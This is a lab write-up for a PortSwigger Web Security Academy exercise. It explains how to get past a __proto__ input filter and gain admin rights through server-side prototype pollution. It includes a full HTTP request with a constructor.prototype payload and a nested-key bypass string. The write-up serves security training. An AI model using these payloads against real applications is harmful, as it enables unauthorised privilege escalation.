Bypassing Flawed Input Filters for Server-Side Prototype Pollution

Platform: PortSwigger Web Security Academy Vulnerability: Server-side Prototype Pollution with Filter Bypass Objective: Gain admin privileges via prototype pollution

Summary

Bypass __proto__ filtering by using the alternative constructor.prototype path to achieve the same prototype pollution.

The Filter

The application silently strips or ignores __proto__ keys in JSON input. No error is returned - the pollution just doesn’t work.

Testing:

{"__proto__":{"isAdmin":true}}

• No error returned
• But isAdmin not polluted (admin access denied)

The Bypass

Why constructor.prototype Works

Both paths lead to the same place:

obj.__proto__  ──────────────────→  Object.prototype
obj.constructor.prototype  ───────→  Object.prototype
         ↓
      (Object)

• obj.__proto__ - Direct reference to prototype
• obj.constructor - Reference to Object constructor
• obj.constructor.prototype - The constructor’s prototype (same as __proto__)

Payload

POST /my-account/change-address HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8

{
  "address_line_1":"Wiener HQ",
  "address_line_2":"One Wiener Way",
  "city":"Wienerville",
  "postcode":"BU1 1RP",
  "country":"UK",
  "sessionId":"[session]",
  "constructor":{
    "prototype":{
      "isAdmin":true
    }
  }
}

Other Bypass Techniques Tested

Double-encoding / Nested __proto__

{"__pro__proto__to__":{"isAdmin":true}}

Result: Added literal key __pro__proto__to__ to response - filter doesn’t do recursive stripping.

When this bypass works:

Some filters naively remove __proto__ once:

• Input: __pro__proto__to__
• Filter removes __proto__: __proto__
• Pollution works!

This filter blocks the key entirely rather than string-replacing.

Bypass Techniques Reference

Key Learnings

1. Always test both paths: __proto__ and constructor.prototype
2. Silent failures: No error doesn’t mean it worked - verify the effect
3. Understand the equivalence: Both paths reach Object.prototype
4. Test bypass techniques: Filters may be incomplete or naive

References

• PortSwigger - Prototype Pollution via constructor